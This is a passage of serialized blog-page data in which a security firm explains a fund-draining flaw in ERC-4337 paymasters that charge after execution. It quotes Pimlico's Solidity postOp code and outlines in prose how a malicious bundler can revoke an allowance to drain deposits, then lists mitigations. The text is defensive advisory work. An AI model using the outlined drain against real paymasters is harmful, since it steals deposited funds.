mUserOp.paymasterPostOpGasLimit);\n",{"type":23,"tag":75,"props":117104,"children":117105},{"class":77,"line":3473},[117106],{"type":23,"tag":75,"props":117107,"children":117108},{"style":94},[117109],{"type":29,"value":4964},{"type":23,"tag":75,"props":117111,"children":117112},{"class":77,"line":3481},[117113],{"type":23,"tag":75,"props":117114,"children":117115},{"style":94},[117116],{"type":29,"value":5022},{"type":23,"tag":75,"props":117118,"children":117119},{"class":77,"line":3524},[117120],{"type":23,"tag":75,"props":117121,"children":117122},{"style":94},[117123],{"type":29,"value":115136},{"type":23,"tag":75,"props":117125,"children":117126},{"class":77,"line":4890},[117127],{"type":23,"tag":75,"props":117128,"children":117129},{"style":94},[117130],{"type":29,"value":346},{"type":23,"tag":32,"props":117132,"children":117133},{},[117134,117136,117141,117143,117149,117151,117157,117159,117164,117166,117171,117173,117178,117180,117185,117187,117192,117194,117199],{"type":29,"value":117135},"It turns out that if the ",{"type":23,"tag":71,"props":117137,"children":117139},{"className":117138},[],[117140],{"type":29,"value":112716},{"type":29,"value":117142}," call fails, it will revert with ",{"type":23,"tag":71,"props":117144,"children":117146},{"className":117145},[],[117147],{"type":29,"value":117148},"PostOpReverted",{"type":29,"value":117150},". However, as we can see in the previous code of ",{"type":23,"tag":71,"props":117152,"children":117154},{"className":117153},[],[117155],{"type":29,"value":117156},"_executeUserOp",{"type":29,"value":117158},", even though ",{"type":23,"tag":71,"props":117160,"children":117162},{"className":117161},[],[117163],{"type":29,"value":115858},{"type":29,"value":117165}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":23,"tag":71,"props":117167,"children":117169},{"className":117168},[],[117170],{"type":29,"value":116526},{"type":29,"value":117172}," call with ",{"type":23,"tag":71,"props":117174,"children":117176},{"className":117175},[],[117177],{"type":29,"value":116534},{"type":29,"value":117179}," mode, and it won't try to call ",{"type":23,"tag":71,"props":117181,"children":117183},{"className":117182},[],[117184],{"type":29,"value":112716},{"type":29,"value":117186}," again. This means the ",{"type":23,"tag":71,"props":117188,"children":117190},{"className":117189},[],[117191],{"type":29,"value":112577},{"type":29,"value":117193}," still gets paid for submitting the failed ",{"type":23,"tag":71,"props":117195,"children":117197},{"className":117196},[],[117198],{"type":29,"value":112517},{"type":29,"value":557},{"type":23,"tag":32,"props":117201,"children":117202},{},[117203,117205,117210,117212,117217,117219,117226],{"type":29,"value":117204},"Now that we understand this behavior where ",{"type":23,"tag":71,"props":117206,"children":117208},{"className":117207},[],[117209],{"type":29,"value":112716},{"type":29,"value":117211}," is allowed to fail while the ",{"type":23,"tag":71,"props":117213,"children":117215},{"className":117214},[],[117216],{"type":29,"value":112577},{"type":29,"value":117218}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":23,"tag":940,"props":117220,"children":117223},{"href":117221,"rel":117222},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[944],[117224],{"type":29,"value":117225},"Pimlico",{"type":29,"value":557},{"type":23,"tag":64,"props":117228,"children":117230},{"className":68,"code":117229,"language":67,"meta":7,"style":7},"    function _postOp(\n        PostOpMode, /* mode */\n        bytes calldata _context,\n        uint256 _actualGasCost,\n        uint256 _actualUserOpFeePerGas\n    )\n        internal\n    {\n        ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n        uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n        );\n\n        uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n        uint256 costInToken =\n            getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n        uint256 absoluteCostInToken =\n            costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n        SafeTransferLib.safeTransferFrom(\n            ctx.token,\n            costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n            costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n            absoluteCostInToken\n        );\n\n        uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n        if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n            SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n        }\n\n        emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n    }\n",[117231],{"type":23,"tag":71,"props":117232,"children":117233},{"__ignoreMap":7},[117234,117249,117266,117286,117302,117314,117321,117328,117335,117366,117373,117398,117406,117413,117420,117449,117456,117472,117494,117501,117517,117567,117574,117590,117598,117631,117664,117672,117679,117686,117729,117736,117785,117811,117818,117825,117842],{"type":23,"tag":75,"props":117235,"children":117236},{"class":77,"line":78},[117237,117241,117245],{"type":23,"tag":75,"props":117238,"children":117239},{"style":82},[117240],{"type":29,"value":100166},{"type":23,"tag":75,"props":117242,"children":117243},{"style":88},[117244],{"type":29,"value":114118},{"type":23,"tag":75,"props":117246,"children":117247},{"style":94},[117248],{"type":29,"value":97},{"type":23,"tag":75,"props":117250,"children":117251},{"class":77,"line":100},[117252,117257,117261],{"type":23,"tag":75,"props":117253,"children":117254},{"style":82},[117255],{"type":29,"value":117256},"        PostOpMode",{"type":23,"tag":75,"props":117258,"children":117259},{"style":94},[117260],{"type":29,"value":611},{"type":23,"tag":75,"props":117262,"children":117263},{"style":3621},[117264],{"type":29,"value":117265},"/* mode */\n",{"type":23,"tag":75,"props":117267,"children":117268},{"class":77,"line":121},[117269,117273,117277,117282],{"type":23,"tag":75,"props":117270,"children":117271},{"style":104},[117272],{"type":29,"value":116034},{"type":23,"tag":75,"props":117274,"children":117275},{"style":82},[117276],{"type":29,"value":113347},{"type":23,"tag":75,"props":117278,"children":117279},{"style":110},[117280],{"type":29,"value":117281}," _context",{"type":23,"tag":75,"props":117283,"children":117284},{"style":94},[117285],{"type":29,"value":118},{"type":23,"tag":75,"props":117287,"children":117288},{"class":77,"line":138},[117289,117293,117298],{"type":23,"tag":75,"props":117290,"children":117291},{"style":104},[117292],{"type":29,"value":100344},{"type":23,"tag":75,"props":117294,"children":117295},{"style":110},[117296],{"type":29,"value":117297}," _actualGasCost",{"type":23,"tag":75,"props":117299,"children":117300},{"style":94},[117301],{"type":29,"value":118},{"type":23,"tag":75,"props":117303,"children":117304},{"class":77,"line":161},[117305,117309],{"type":23,"tag":75,"props":117306,"children":117307},{"style":104},[117308],{"type":29,"value":100344},{"type":23,"tag":75,"props":117310,"children":117311},{"style":110},[117312],{"type":29,"value":117313}," _actualUserOpFeePerGas\n",{"type":23,"tag":75,"props":117315,"children":117316},{"class":77,"line":196},[117317],{"type":23,"tag":75,"props":117318,"children":117319},{"style":94},[117320],{"type":29,"value":7152},{"type":23,"tag":75,"props":117322,"children":117323},{"class":77,"line":220},[117324],{"type":23,"tag":75,"props":117325,"children":117326},{"style":82},[117327],{"type":29,"value":113386},{"type":23,"tag":75,"props":117329,"children":117330},{"class":77,"line":248},[117331],{"type":23,"tag":75,"props":117332,"children":117333},{"style":94},[117334],{"type":29,"value":40383},{"type":23,"tag":75,"props":117336,"children":117337},{"class":77,"line":270},[117338,117343,117347,117352,117356,117361],{"type":23,"tag":75,"props":117339,"children":117340},{"style":94},[117341],{"type":29,"value":117342},"        ERC20PostOpContext ",{"type":23,"tag":75,"props":117344,"children":117345},{"style":82},[117346],{"type":29,"value":153},{"type":23,"tag":75,"props":117348,"children":117349},{"style":94},[117350],{"type":29,"value":117351}," ctx ",{"type":23,"tag":75,"props":117353,"children":117354},{"style":209},[117355],{"type":29,"value":212},{"type":23,"tag":75,"props":117357,"children":117358},{"style":88},[117359],{"type":29,"value":117360}," _parsePostOpContext",{"type":23,"tag":75,"props":117362,"children":117363},{"style":94},[117364],{"type":29,"value":117365},"(_context);\n",{"type":23,"tag":75,"props":117367,"children":117368},{"class":77,"line":279},[117369],{"type":23,"tag":75,"props":117370,"children":117371},{"emptyLinePlaceholder":15},[117372],{"type":29,"value":276},{"type":23,"tag":75,"props":117374,"children":117375},{"class":77,"line":303},[117376,117380,117385,117389,117394],{"type":23,"tag":75,"props":117377,"children":117378},{"style":104},[117379],{"type":29,"value":100344},{"type":23,"tag":75,"props":117381,"children":117382},{"style":94},[117383],{"type":29,"value":117384}," expectedPenaltyGasCost ",{"type":23,"tag":75,"props":117386,"children":117387},{"style":209},[117388],{"type":29,"value":212},{"type":23,"tag":75,"props":117390,"children":117391},{"style":88},[117392],{"type":29,"value":117393}," _expectedPenaltyGasCost",{"type":23,"tag":75,"props":117395,"children":117396},{"style":94},[117397],{"type":29,"value":97},{"type":23,"tag":75,"props":117399,"children":117400},{"class":77,"line":322},[117401],{"type":23,"tag":75,"props":117402,"children":117403},{"style":94},[117404],{"type":29,"value":117405},"            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":23,"tag":75,"props":117407,"children":117408},{"class":77,"line":340},[117409],{"type":23,"tag":75,"props":117410,"children":117411},{"style":94},[117412],{"type":29,"value":19002},{"type":23,"tag":75,"props":117414,"children":117415},{"class":77,"line":349},[117416],{"type":23,"tag":75,"props":117417,"children":117418},{"emptyLinePlaceholder":15},[117419],{"type":29,"value":276},{"type":23,"tag":75,"props":117421,"children":117422},{"class":77,"line":363},[117423,117427,117431,117435,117440,117444],{"type":23,"tag":75,"props":117424,"children":117425},{"style":104},[117426],{"type":29,"value":100344},{"type":23,"tag":75,"props":117428,"children":117429},{"style":94},[117430],{"type":29,"value":114442},{"type":23,"tag":75,"props":117432,"children":117433},{"style":209},[117434],{"type":29,"value":212},{"type":23,"tag":75,"props":117436,"children":117437},{"style":94},[117438],{"type":29,"value":117439}," _actualGasCost ",{"type":23,"tag":75,"props":117441,"children":117442},{"style":209},[117443],{"type":29,"value":7862},{"type":23,"tag":75,"props":117445,"children":117446},{"style":94},[117447],{"type":29,"value":117448}," expectedPenaltyGasCost;\n",{"type":23,"tag":75,"props":117450,"children":117451},{"class":77,"line":656},[117452],{"type":23,"tag":75,"props":117453,"children":117454},{"emptyLinePlaceholder":15},[117455],{"type":29,"value":276},{"type":23,"tag":75,"props":117457,"children":117458},{"class":77,"line":705},[117459,117463,117468],{"type":23,"tag":75,"props":117460,"children":117461},{"style":104},[117462],{"type":29,"value":100344},{"type":23,"tag":75,"props":117464,"children":117465},{"style":94},[117466],{"type":29,"value":117467}," costInToken ",{"type":23,"tag":75,"props":117469,"children":117470},{"style":209},[117471],{"type":29,"value":25929},{"type":23,"tag":75,"props":117473,"children":117474},{"class":77,"line":787},[117475,117480,117485,117489],{"type":23,"tag":75,"props":117476,"children":117477},{"style":88},[117478],{"type":29,"value":117479},"            getCostInToken",{"type":23,"tag":75,"props":117481,"children":117482},{"style":94},[117483],{"type":29,"value":117484},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":23,"tag":75,"props":117486,"children":117487},{"style":209},[117488],{"type":29,"value":7862},{"type":23,"tag":75,"props":117490,"children":117491},{"style":94},[117492],{"type":29,"value":117493}," ctx.constantFee;\n",{"type":23,"tag":75,"props":117495,"children":117496},{"class":77,"line":826},[117497],{"type":23,"tag":75,"props":117498,"children":117499},{"emptyLinePlaceholder":15},[117500],{"type":29,"value":276},{"type":23,"tag":75,"props":117502,"children":117503},{"class":77,"line":834},[117504,117508,117513],{"type":23,"tag":75,"props":117505,"children":117506},{"style":104},[117507],{"type":29,"value":100344},{"type":23,"tag":75,"props":117509,"children":117510},{"style":94},[117511],{"type":29,"value":117512}," absoluteCostInToken ",{"type":23,"tag":75,"props":117514,"children":117515},{"style":209},[117516],{"type":29,"value":25929},{"type":23,"tag":75,"props":117518,"children":117519},{"class":77,"line":881},[117520,117525,117529,117534,117538,117542,117546,117550,117554,117558,117562],{"type":23,"tag":75,"props":117521,"children":117522},{"style":94},[117523],{"type":29,"value":117524},"            costInToken ",{"type":23,"tag":75,"props":117526,"children":117527},{"style":209},[117528],{"type":29,"value":4652},{"type":23,"tag":75,"props":117530,"children":117531},{"style":94},[117532],{"type":29,"value":117533}," ctx.preFundCharged ",{"type":23,"tag":75,"props":117535,"children":117536},{"style":209},[117537],{"type":29,"value":1225},{"type":23,"tag":75,"props":117539,"children":117540},{"style":94},[117541],{"type":29,"value":117467},{"type":23,"tag":75,"props":117543,"children":117544},{"style":209},[117545],{"type":29,"value":15602},{"type":23,"tag":75,"props":117547,"children":117548},{"style":94},[117549],{"type":29,"value":117533},{"type":23,"tag":75,"props":117551,"children":117552},{"style":209},[117553],{"type":29,"value":1018},{"type":23,"tag":75,"props":117555,"children":117556},{"style":94},[117557],{"type":29,"value":117533},{"type":23,"tag":75,"props":117559,"children":117560},{"style":209},[117561],{"type":29,"value":15602},{"type":23,"tag":75,"props":117563,"children":117564},{"style":94},[117565],{"type":29,"value":117566}," costInToken;\n",{"type":23,"tag":75,"props":117568,"children":117569},{"class":77,"line":3355},[117570],{"type":23,"tag":75,"props":117571,"children":117572},{"emptyLinePlaceholder":15},[117573],{"type":29,"value":276},{"type":23,"tag":75,"props":117575,"children":117576},{"class":77,"line":3390},[117577,117582,117586],{"type":23,"tag":75,"props":117578,"children":117579},{"style":94},[117580],{"type":29,"value":117581},"        SafeTransferLib.",{"type":23,"tag":75,"props":117583,"children":117584},{"style":88},[117585],{"type":29,"value":113973},{"type":23,"tag":75,"props":117587,"children":117588},{"style":94},[117589],{"type":29,"value":97},{"type":23,"tag":75,"props":117591,"children":117592},{"class":77,"line":3423},[117593],{"type":23,"tag":75,"props":117594,"children":117595},{"style":94},[117596],{"type":29,"value":117597},"            ctx.token,\n",{"type":23,"tag":75,"props":117599,"children":117600},{"class":77,"line":3436},[117601,117605,117609,117613,117617,117622,117626],{"type":23,"tag":75,"props":117602,"children":117603},{"style":94},[117604],{"type":29,"value":117524},{"type":23,"tag":75,"props":117606,"children":117607},{"style":209},[117608],{"type":29,"value":4652},{"type":23,"tag":75,"props":117610,"children":117611},{"style":94},[117612],{"type":29,"value":117533},{"type":23,"tag":75,"props":117614,"children":117615},{"style":209},[117616],{"type":29,"value":1225},{"type":23,"tag":75,"props":117618,"children":117619},{"style":94},[117620],{"type":29,"value":117621}," ctx.sender ",{"type":23,"tag":75,"props":117623,"children":117624},{"style":209},[117625],{"type":29,"value":1018},{"type":23,"tag":75,"props":117627,"children":117628},{"style":94},[117629],{"type":29,"value":117630}," ctx.treasury,\n",{"type":23,"tag":75,"props":117632,"children":117633},{"class":77,"line":3449},[117634,117638,117642,117646,117650,117655,117659],{"type":23,"tag":75,"props":117635,"children":117636},{"style":94},[117637],{"type":29,"value":117524},{"type":23,"tag":75,"props":117639,"children":117640},{"style":209},[117641],{"type":29,"value":4652},{"type":23,"tag":75,"props":117643,"children":117644},{"style":94},[117645],{"type":29,"value":117533},{"type":23,"tag":75,"props":117647,"children":117648},{"style":209},[117649],{"type":29,"value":1225},{"type":23,"tag":75,"props":117651,"children":117652},{"style":94},[117653],{"type":29,"value":117654}," ctx.treasury ",{"type":23,"tag":75,"props":117656,"children":117657},{"style":209},[117658],{"type":29,"value":1018},{"type":23,"tag":75,"props":117660,"children":117661},{"style":94},[117662],{"type":29,"value":117663}," ctx.sender,\n",{"type":23,"tag":75,"props":117665,"children":117666},{"class":77,"line":3457},[117667],{"type":23,"tag":75,"props":117668,"children":117669},{"style":94},[117670],{"type":29,"value":117671},"            absoluteCostInToken\n",{"type":23,"tag":75,"props":117673,"children":117674},{"class":77,"line":3465},[117675],{"type":23,"tag":75,"props":117676,"children":117677},{"style":94},[117678],{"type":29,"value":19002},{"type":23,"tag":75,"props":117680,"children":117681},{"class":77,"line":3473},[117682],{"type":23,"tag":75,"props":117683,"children":117684},{"emptyLinePlaceholder":15},[117685],{"type":29,"value":276},{"type":23,"tag":75,"props":117687,"children":117688},{"class":77,"line":3481},[117689,117693,117698,117702,117707,117711,117716,117720,117725],{"type":23,"tag":75,"props":117690,"children":117691},{"style":104},[117692],{"type":29,"value":100344},{"type":23,"tag":75,"props":117694,"children":117695},{"style":94},[117696],{"type":29,"value":117697}," preFundInToken ",{"type":23,"tag":75,"props":117699,"children":117700},{"style":209},[117701],{"type":29,"value":212},{"type":23,"tag":75,"props":117703,"children":117704},{"style":94},[117705],{"type":29,"value":117706}," (ctx.preFund ",{"type":23,"tag":75,"props":117708,"children":117709},{"style":209},[117710],{"type":29,"value":601},{"type":23,"tag":75,"props":117712,"children":117713},{"style":94},[117714],{"type":29,"value":117715}," ctx.exchangeRate) ",{"type":23,"tag":75,"props":117717,"children":117718},{"style":209},[117719],{"type":29,"value":5647},{"type":23,"tag":75,"props":117721,"children":117722},{"style":237},[117723],{"type":29,"value":117724}," 1e18",{"type":23,"tag":75,"props":117726,"children":117727},{"style":94},[117728],{"type":29,"value":245},{"type":23,"tag":75,"props":117730,"children":117731},{"class":77,"line":3524},[117732],{"type":23,"tag":75,"props":117733,"children":117734},{"emptyLinePlaceholder":15},[117735],{"type":29,"value":276},{"type":23,"tag":75,"props":117737,"children":117738},{"class":77,"line":4890},[117739,117743,117748,117752,117756,117760,117764,117768,117772,117776,117780],{"type":23,"tag":75,"props":117740,"children":117741},{"style":175},[117742],{"type":29,"value":2445},{"type":23,"tag":75,"props":117744,"children":117745},{"style":94},[117746],{"type":29,"value":117747}," (ctx.recipient ",{"type":23,"tag":75,"props":117749,"children":117750},{"style":209},[117751],{"type":29,"value":26916},{"type":23,"tag":75,"props":117753,"children":117754},{"style":104},[117755],{"type":29,"value":17517},{"type":23,"tag":75,"props":117757,"children":117758},{"style":94},[117759],{"type":29,"value":643},{"type":23,"tag":75,"props":117761,"children":117762},{"style":237},[117763],{"type":29,"value":648},{"type":23,"tag":75,"props":117765,"children":117766},{"style":94},[117767],{"type":29,"value":167},{"type":23,"tag":75,"props":117769,"children":117770},{"style":209},[117771],{"type":29,"value":84367},{"type":23,"tag":75,"props":117773,"children":117774},{"style":94},[117775],{"type":29,"value":117697},{"type":23,"tag":75,"props":117777,"children":117778},{"style":209},[117779],{"type":29,"value":4652},{"type":23,"tag":75,"props":117781,"children":117782},{"style":94},[117783],{"type":29,"value":117784}," costInToken) {\n",{"type":23,"tag":75,"props":117786,"children":117787},{"class":77,"line":4937},[117788,117793,117797,117802,117806],{"type":23,"tag":75,"props":117789,"children":117790},{"style":94},[117791],{"type":29,"value":117792},"            SafeTransferLib.",{"type":23,"tag":75,"props":117794,"children":117795},{"style":88},[117796],{"type":29,"value":113973},{"type":23,"tag":75,"props":117798,"children":117799},{"style":94},[117800],{"type":29,"value":117801},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":23,"tag":75,"props":117803,"children":117804},{"style":209},[117805],{"type":29,"value":15602},{"type":23,"tag":75,"props":117807,"children":117808},{"style":94},[117809],{"type":29,"value":117810}," costInToken);\n",{"type":23,"tag":75,"props":117812,"children":117813},{"class":77,"line":4950},[117814],{"type":23,"tag":75,"props":117815,"children":117816},{"style":94},[117817],{"type":29,"value":2503},{"type":23,"tag":75,"props":117819,"children":117820},{"class":77,"line":4958},[117821],{"type":23,"tag":75,"props":117822,"children":117823},{"emptyLinePlaceholder":15},[117824],{"type":29,"value":276},{"type":23,"tag":75,"props":117826,"children":117827},{"class":77,"line":4967},[117828,117833,117837],{"type":23,"tag":75,"props":117829,"children":117830},{"style":175},[117831],{"type":29,"value":117832},"        emit",{"type":23,"tag":75,"props":117834,"children":117835},{"style":88},[117836],{"type":29,"value":114707},{"type":23,"tag":75,"props":117838,"children":117839},{"style":94},[117840],{"type":29,"value":117841},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":23,"tag":75,"props":117843,"children":117844},{"class":77,"line":4975},[117845],{"type":23,"tag":75,"props":117846,"children":117847},{"style":94},[117848],{"type":29,"value":346},{"type":23,"tag":32,"props":117850,"children":117851},{},[117852,117854,117859,117861,117867,117869,117875,117877,117882,117884,117889],{"type":29,"value":117853},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":23,"tag":71,"props":117855,"children":117857},{"className":117856},[],[117858],{"type":29,"value":113973},{"type":29,"value":117860},". Note that ",{"type":23,"tag":71,"props":117862,"children":117864},{"className":117863},[],[117865],{"type":29,"value":117866},"preFundCharged",{"type":29,"value":117868}," can be zero, as users can opt out of any ",{"type":23,"tag":71,"props":117870,"children":117872},{"className":117871},[],[117873],{"type":29,"value":117874},"preFund",{"type":29,"value":117876}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":23,"tag":71,"props":117878,"children":117880},{"className":117879},[],[117881],{"type":29,"value":114774},{"type":29,"value":117883}," call inside ",{"type":23,"tag":71,"props":117885,"children":117887},{"className":117886},[],[117888],{"type":29,"value":115858},{"type":29,"value":117890}," will revert and the paymaster won't be able to collect payment from the user.",{"type":23,"tag":32,"props":117892,"children":117893},{},[117894,117896,117901,117903,117909,117911,117917],{"type":29,"value":117895},"However, even when ",{"type":23,"tag":71,"props":117897,"children":117899},{"className":117898},[],[117900],{"type":29,"value":114774},{"type":29,"value":117902}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":23,"tag":71,"props":117904,"children":117906},{"className":117905},[],[117907],{"type":29,"value":117908},"requiredPrefund",{"type":29,"value":117910}," was taken from the paymaster's ",{"type":23,"tag":940,"props":117912,"children":117915},{"href":117913,"rel":117914},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[944],[117916],{"type":29,"value":73142},{"type":29,"value":557},{"type":23,"tag":32,"props":117919,"children":117920},{},[117921,117923,117928],{"type":29,"value":117922},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":23,"tag":71,"props":117924,"children":117926},{"className":117925},[],[117927],{"type":29,"value":114774},{"type":29,"value":117929}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":23,"tag":2797,"props":117931,"children":117932},{},[117933,117951,117970,117981,117986],{"type":23,"tag":2801,"props":117934,"children":117935},{},[117936,117938,117943,117945],{"type":29,"value":117937},"The bundler creates a ",{"type":23,"tag":71,"props":117939,"children":117941},{"className":117940},[],[117942],{"type":29,"value":112517},{"type":29,"value":117944}," with an intentionally high ",{"type":23,"tag":71,"props":117946,"children":117948},{"className":117947},[],[117949],{"type":29,"value":117950},"gasPrice",{"type":23,"tag":2801,"props":117952,"children":117953},{},[117954,117956,117961,117963,117968],{"type":29,"value":117955},"The bundler ensures the ",{"type":23,"tag":71,"props":117957,"children":117959},{"className":117958},[],[117960],{"type":29,"value":114774},{"type":29,"value":117962}," call will fail by revoking the paymaster's token allowance before ",{"type":23,"tag":71,"props":117964,"children":117966},{"className":117965},[],[117967],{"type":29,"value":114774},{"type":29,"value":117969}," executes",{"type":23,"tag":2801,"props":117971,"children":117972},{},[117973,117974,117979],{"type":29,"value":74533},{"type":23,"tag":71,"props":117975,"children":117977},{"className":117976},[],[117978],{"type":29,"value":114774},{"type":29,"value":117980}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":23,"tag":2801,"props":117982,"children":117983},{},[117984],{"type":29,"value":117985},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":23,"tag":2801,"props":117987,"children":117988},{},[117989],{"type":29,"value":117990},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":23,"tag":32,"props":117992,"children":117993},{},[117994,117996,118001,118003,118008],{"type":29,"value":117995},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":23,"tag":71,"props":117997,"children":117999},{"className":117998},[],[118000],{"type":29,"value":112546},{"type":29,"value":118002}," designed to fail during ",{"type":23,"tag":71,"props":118004,"children":118006},{"className":118005},[],[118007],{"type":29,"value":114774},{"type":29,"value":118009}," while maximizing the gas costs they can charge to the paymaster.",{"type":23,"tag":32,"props":118011,"children":118012},{},[118013,118015,118020,118022,118027,118029,118035,118037,118042],{"type":29,"value":118014},"Some paymasters try to protect against this by simulating the ",{"type":23,"tag":71,"props":118016,"children":118018},{"className":118017},[],[118019],{"type":29,"value":112517},{"type":29,"value":118021}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":23,"tag":71,"props":118023,"children":118025},{"className":118024},[],[118026],{"type":29,"value":112517},{"type":29,"value":118028}," is submitted via ",{"type":23,"tag":71,"props":118030,"children":118032},{"className":118031},[],[118033],{"type":29,"value":118034},"handleOps",{"type":29,"value":118036},". This means the ",{"type":23,"tag":71,"props":118038,"children":118040},{"className":118039},[],[118041],{"type":29,"value":114774},{"type":29,"value":118043}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":23,"tag":32,"props":118045,"children":118046},{},[118047],{"type":29,"value":118048},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":23,"tag":32,"props":118050,"children":118051},{},[118052],{"type":29,"value":118053},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":23,"tag":32,"props":118055,"children":118056},{},[118057],{"type":29,"value":118058},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":23,"tag":46567,"props":118060,"children":118061},{"id":14115},[118062],{"type":29,"value":14118},{"type":23,"tag":32,"props":118064,"children":118065},{},[118066],{"type":29,"value":118067},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":23,"tag":2797,"props":118069,"children":118070},{},[118071,118076,118081,118086,118091],{"type":23,"tag":2801,"props":118072,"children":118073},{},[118074],{"type":29,"value":118075},"Always collect full payment during validation, not after execution",{"type":23,"tag":2801,"props":118077,"children":118078},{},[118079],{"type":29,"value":118080},"Be conservative with gas estimations and include safety margins",{"type":23,"tag":2801,"props":118082,"children":118083},{},[118084],{"type":29,"value":118085},"Carefully validate all user inputs and token transfers",{"type":23,"tag":2801,"props":118087,"children":118088},{},[118089],{"type":29,"value":118090},"Test extensively, including simulation of malicious behavior",{"type":23,"tag":2801,"props":118092,"children":118093},{},[118094,118096,118101],{"type":29,"value":118095},"Always review changes in new ",{"type":23,"tag":71,"props":118097,"children":118099},{"className":118098},[],[118100],{"type":29,"value":112598},{"type":29,"value":118102}," versions, as they may impact your paymaster's design and security assumptions",{"type":23,"tag":32,"props":118104,"children":118105},{},[118106,118108,118113,118115,118120,118122,118127],{"type":29,"value":118107},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":23,"tag":71,"props":118109,"children":118111},{"className":118110},[],[118112],{"type":29,"value":112598},{"type":29,"value":118114}," contract's behavior could potentially break existing ",{"type":23,"tag":71,"props":118116,"children":118118},{"className":118117},[],[118119],{"type":29,"value":112670},{"type":29,"value":118121}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":23,"tag":71,"props":118123,"children":118125},{"className":118124},[],[118126],{"type":29,"value":112598},{"type":29,"value":118128}," versions.",{"type":23,"tag":32,"props":118130,"children":118131},{},[118132],{"type":29,"value":118133},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":23,"tag":32,"props":118135,"children":118136},{},[118137],{"type":29,"value":118138},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":23,"tag":14130,"props":118140,"children":118141},{},[118142],{"type":29,"value":14134},{"title":7,"searchDepth":100,"depth":100,"links":118144},[118145,118146,118147,118154,118159,118160],{"id":112432,"depth":100,"text":112435},{"id":112448,"depth":100,"text":112451},{"id":112487,"depth":100,"text":112490,"children":118148},[118149,118150,118151,118152,118153],{"id":112510,"depth":121,"text":112517},{"id":112551,"depth":121,"text":112554},{"id":112577,"depth":121,"text":112580},{"id":25959,"depth":121,"text":112598},{"id":112670,"depth":121,"text":112681},{"id":112733,"depth":100,"text":118155,"children":118156},"Understanding the EntryPoint's Flow",[118157,118158],{"id":112789,"depth":121,"text":112792},{"id":112974,"depth":121,"text":112977},{"id":113217,"depth":100,"text":113223},{"id":114817,"depth":100,"text":114823,"children":118161},[118162,118163],{"id":114877,"depth":121,"text":114880},{"id":114937,"depth":121,"text":114940},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":118168,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":118169,"description":118170,"date":118171,"author":118172,"image":118175,"isFeatured":15,"onBlogPage":15,"tags":118177,"body":118179,"_type":14157,"_id":133984,"_source":14159,"_file":133985,"_stem":133986,"_extension":14162},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee 